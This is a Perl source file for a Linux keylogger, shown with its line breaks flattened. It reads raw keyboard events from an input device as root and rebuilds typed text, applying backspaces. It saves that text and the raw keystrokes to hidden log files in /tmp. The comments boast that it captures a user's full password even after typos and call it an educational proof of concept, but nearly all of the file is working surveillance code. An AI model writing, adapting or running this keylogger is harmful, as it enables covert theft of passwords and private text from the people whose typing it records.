#!/usr/bin/perl -w use strict; use warnings; use threads; use threads::shared; # keylog - A simple key logger. # Usage: keylog # Example: keylog /dev/input/event0 # # The user you run this as should have read access to the device node. Most of # the time, this means you'll need to run this as root. # # To find out which device node your keyboard is using, run the command # `cat /proc/bus/input/devices` and search for your keyboard. There should be # a line by your keyboard's info that looks like "Handlers=kbd event4" and # in this case the input device is /dev/input/event4. Update this for any # other event number that you see instead. # # This program prints ALL key events to the terminal (including the key up/down # events for all keys). This information probably isn't directly useful to you, # so it also logs "full sentences" to the log file at /tmp/.keylog. The lines # it logs are probably the most useful to you; if the user hits the backspace # key, the last key they typed is deleted, etc.. so if a user is typing their # password and makes a typo and finishes typing, you'll get their full password. # # The buffer used for this is saved after 2 seconds of idle time in their typing, # or when a "separator key" is entered (a separator key is: Enter, Return, or # Tab). Each buffer is saved to its own line in the log file. If the user is a # slow typer, one "sentence" may actually span multiple lines, so you'll have to # figure this out yourself. # # This is just a proof of concept and should be used for educational purposes # only. # # --Kirsle # http://sh.kirsle.net/ # Modify the die handler so we can exit on error messages # more gracefully. $SIG{__DIE__} = sub { my $err = shift; $err =~ s/ at .+ line .+\.//g; print $err; exit(1); }; # Get the device node from command line. scalar(@ARGV) or die "Usage: keylog \nExample: keylog /dev/input/event0"; my $DEV = $ARGV[0]; # Must run this as root, or be able to read from the device. if (!-r $DEV) { die "Can't read from $DEV; got root?"; } # Hash to keep track of modifier keys. our $mod = { shift => 0, alt => 0, ctrl => 0, }; # This scalar holds the "typing buffer". If they pause typing for 2 seconds, # or hit a "separator key" (return/enter or tab), the buffer is written to disk # in the log file. The backspace key deletes text in the buffer, etc. This way # you can see basically what they typed, without having to parse through the # key up/down events yourself. my $buffer : shared; my $lastkey : shared; # Holds the time() of the last key event seen. my $writenow : shared; # The key parser can force the buffer to write now. $buffer = ''; $lastkey = 0; $writenow = 0; # Spawn a thread to watch the buffer and write it to disk. This way the # blocking file reads won't prevent the buffer from being written. my $bufthread = threads->create (\&buffer); # Open the device for reading. open (FILE, $DEV); while (1) { # Read the next keypress event. my $line = ""; sysread(FILE, $line, 16); my @vals = split(//, $line); if (ord($vals[10]) != 0) { # Interpret the event. interpret(ord($vals[10]),ord($vals[12])); } } close (FILE); # This is the buffer writing thread. sub buffer { while (1) { select(undef,undef,undef,0.1); # Was there a 2 second delay from the last event? if ($lastkey == 0) { next; } if ((time() - $lastkey >= 2 && length($buffer) > 0) || $writenow) { # Write it to disk. print "Writing buffer to disk\n"; open (WRITE, ">>/tmp/.keylog"); print WRITE ts() . "$buffer\n"; close (WRITE); $buffer = ''; $lastkey = 0; $writenow = 0; } } } # Interpret keycode events from the device node. sub interpret { my ($keycode,$state) = @_; # Store the last keypress time. $lastkey = time(); # Qwerty keyboard map. qwerty($keycode,$state); return; # This code doesn't run; if you want it to run, # comment out the "return" just above these # comments. This is for debugging purposes. print "[$keycode] "; if ($state == 0) { print "up\n"; } elsif ($state == 1) { print "down\n"; } elsif ($state == 2) { print "repeat\n"; } else { print "\n"; } } # Interpret keycodes based on QWERTY key map. sub qwerty { my ($code,$state) = @_; return unless $state >= 0 && $state <= 2; # Handle the modifier keys first. if ($code == 42 || $code == 54) { # Shift key. $mod->{shift} = ($state == 1 ? 1 : 0); } elsif ($code == 29 || $code == 97) { # Ctrl key. $mod->{ctrl} = ($state == 1 ? 1 : 0); } elsif ($code == 56 || $code == 100) { # Alt key. $mod->{alt} = ($state == 1 ? 1 : 0); } # Qwery keys. my %keys = ( # Keys that map to two different characters (with shift # key held down) are an array; element 0 is the non-shifted # character, element 1 is the shifted character. # number row 41 => [ '`', '~' ], 2 => [ '1', '!' ], 3 => [ '2', '@' ], 4 => [ '3', '#' ], 5 => [ '4', '$' ], 6 => [ '5', '%' ], 7 => [ '6', '^' ], 8 => [ '7', '&' ], 9 => [ '8', '*' ], 10 => [ '9', '(' ], 11 => [ '0', ')' ], 12 => [ '-', '_' ], 13 => [ '=', '+' ], # qwerty row 16 => [ 'q', 'Q' ], 17 => [ 'w', 'W' ], 18 => [ 'e', 'E' ], 19 => [ 'r', 'R' ], 20 => [ 't', 'T' ], 21 => [ 'y', 'Y' ], 22 => [ 'u', 'U' ], 23 => [ 'i', 'I' ], 24 => [ 'o', 'O' ], 25 => [ 'p', 'P' ], 26 => [ '[', '{' ], 27 => [ ']', '}' ], 43 => [ '\\', '|' ], # asdf row 30 => [ 'a', 'A' ], 31 => [ 's', 'S' ], 32 => [ 'd', 'D' ], 33 => [ 'f', 'F' ], 34 => [ 'g', 'G' ], 35 => [ 'h', 'H' ], 36 => [ 'j', 'J' ], 37 => [ 'k', 'K' ], 38 => [ 'l', 'L' ], 39 => [ ';', ':' ], 40 => [ "'", '"' ], # zxcv row 44 => [ 'z', 'Z' ], 45 => [ 'x', 'X' ], 46 => [ 'c', 'C' ], 47 => [ 'v', 'V' ], 48 => [ 'b', 'B' ], 49 => [ 'n', 'N' ], 50 => [ 'm', 'M' ], 51 => [ ',', '<' ], 52 => [ '.', '>' ], 53 => [ '/', '?' ], # Other keys 14 => 'Backspace', 28 => 'Return', 96 => 'Enter', 15 => 'Tab', 57 => ' ', 58 => 'Caps Lock', 69 => 'Num Lock', 70 => 'Scroll Lock', 42 => 'L-Shift', 54 => 'R-Shift', 29 => 'L-Ctrl', 97 => 'R-Ctrl', 56 => 'L-Alt', 100 => 'R-Alt', 125 => 'L-Super', 126 => 'R-Super', 127 => 'Menu', 1 => 'Escape', 59 => 'F1', 60 => 'F2', 61 => 'F3', 62 => 'F4', 63 => 'F5', 64 => 'F6', 65 => 'F7', 66 => 'F8', 67 => 'F9', 68 => 'F10', 87 => 'F11', 88 => 'F12', 110 => 'Insert', 102 => 'Home', 107 => 'End', 104 => 'Pg Up', 109 => 'Pg Dn', 111 => 'Del', 99 => 'Print Screen', 119 => 'Pause', 103 => 'Up', 108 => 'Down', 106 => 'Right', 105 => 'Left', 71 => [ 'Num-7', 'Num-Home' ], 72 => [ 'Num-8', 'Num-Up' ], 73 => [ 'Num-9', 'Num-Pg Up' ], 75 => [ 'Num-4', 'Num-Left' ], 76 => 'Num-5', 77 => [ 'Num-6', 'Num-Right' ], 79 => [ 'Num-1', 'Num-End' ], 80 => [ 'Num-2', 'Num-Down' ], 81 => [ 'Num-3', 'Num-Pg Dn' ], 82 => [ 'Num-0', 'Num-Insert' ], 96 => 'Num-/', 55 => 'Num-*', 74 => 'Num--', 78 => 'Num-+', 93 => [ 'Num-.', 'Num-Del' ], ); # See their matching keypress. my $keypress = ''; foreach my $key (sort keys %keys) { if ($code == $key) { # We have a match! Does the key have a shift-modifier? if (ref($keys{$key}) eq "ARRAY") { if ($mod->{shift}) { $keypress = $keys{$key}->[1]; } else { $keypress = $keys{$key}->[0]; } } else { $keypress = $keys{$key}; } last; } } # Add it to the buffer. if ($state == 1) { if (length $keypress > 1) { if ($keypress eq 'Backspace') { # Delete the last character off the end of their buffer. $buffer = substr($buffer,0,(length($buffer) - 1)); } else { # Add the special key with {brackets} around it. $buffer .= "{$keypress}"; } } else { $buffer .= $keypress; } } # If they hit a separator key, save the buffer right now. if ($state == 1 && ($keypress eq 'Return' || $keypress eq 'Enter' || $keypress eq 'Tab')) { $writenow = 1; } # Print their key. if ($mod->{shift}) { $keypress = "(Shift) $keypress"; } if ($mod->{ctrl}) { $keypress = "(Ctrl) $keypress"; } if ($mod->{alt}) { $keypress = "(Alt) $keypress"; } if ($state == 1) { $keypress = "+ $keypress"; } else { $keypress = "- $keypress"; } print "$code $keypress\n"; # Log the raw keypresses too. open (RAW, ">>/tmp/.rawkeylog"); print RAW ts() . "$code $keypress\n"; close (RAW); } sub ts { my @time = localtime(); return "[" . join(" ", join("-", sprintf("%04d", $time[5] + 1900), sprintf("%02d", $time[4] + 1), sprintf("%02d", $time[3]), ), join(":", sprintf("%02d", $time[2]), sprintf("%02d", $time[1]), sprintf("%02d", $time[0]), ), ) . "] "; }